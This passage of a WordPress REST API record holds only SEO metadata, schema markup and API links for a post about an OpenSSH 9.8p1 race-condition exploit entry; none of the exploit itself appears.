href=\"https:\/\/zero.redgem.net\/?p=932\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"OpenSSH server (sshd) 9.8p1 - Race Condition - zero redgem\" \/>\n<meta property=\"og:description\" content=\"Exploit Details Basic Information Exploit Title OpenSSH server (sshd) 9.8p1 &#8211; Race Condition Exploit ID EDB-ID:52269 Type exploitdb Published 2025-04-22T00:00:00 Modified 2025-04-22T00:00:00 CVSS Information CVSS...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=932\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-04-23T05:59:44+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"9 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=932#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=932\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"OpenSSH server (sshd) 9.8p1 &#8211; Race Condition\",\"datePublished\":\"2025-04-23T05:59:44+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=932\"},\"wordCount\":1772,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-0.0\",\"exploit\",\"exploitdb\",\"news\",\"NONE\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=932#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=932\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=932\",\"name\":\"OpenSSH server (sshd) 9.8p1 - Race Condition - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-04-23T05:59:44+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=932#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=932\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=932#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"OpenSSH server (sshd) 9.8p1 &#8211; Race Condition\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"OpenSSH server (sshd) 9.8p1 - Race Condition - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=932","og_locale":"en_US","og_type":"article","og_title":"OpenSSH server (sshd) 9.8p1 - Race Condition - zero redgem","og_description":"Exploit Details Basic Information Exploit Title OpenSSH server (sshd) 9.8p1 &#8211; Race Condition Exploit ID EDB-ID:52269 Type exploitdb Published 2025-04-22T00:00:00 Modified 2025-04-22T00:00:00 CVSS Information CVSS...","og_url":"https:\/\/zero.redgem.net\/?p=932","og_site_name":"zero redgem","article_published_time":"2025-04-23T05:59:44+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"9 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=932#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=932"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"OpenSSH server (sshd) 9.8p1 &#8211; Race Condition","datePublished":"2025-04-23T05:59:44+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=932"},"wordCount":1772,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-0.0","exploit","exploitdb","news","NONE","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=932#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=932","url":"https:\/\/zero.redgem.net\/?p=932","name":"OpenSSH server (sshd) 9.8p1 - Race Condition - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-04-23T05:59:44+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=932#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=932"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=932#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"OpenSSH server (sshd) 9.8p1 &#8211; Race Condition"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/932","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=932"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/932\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=932"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=932"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=932"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}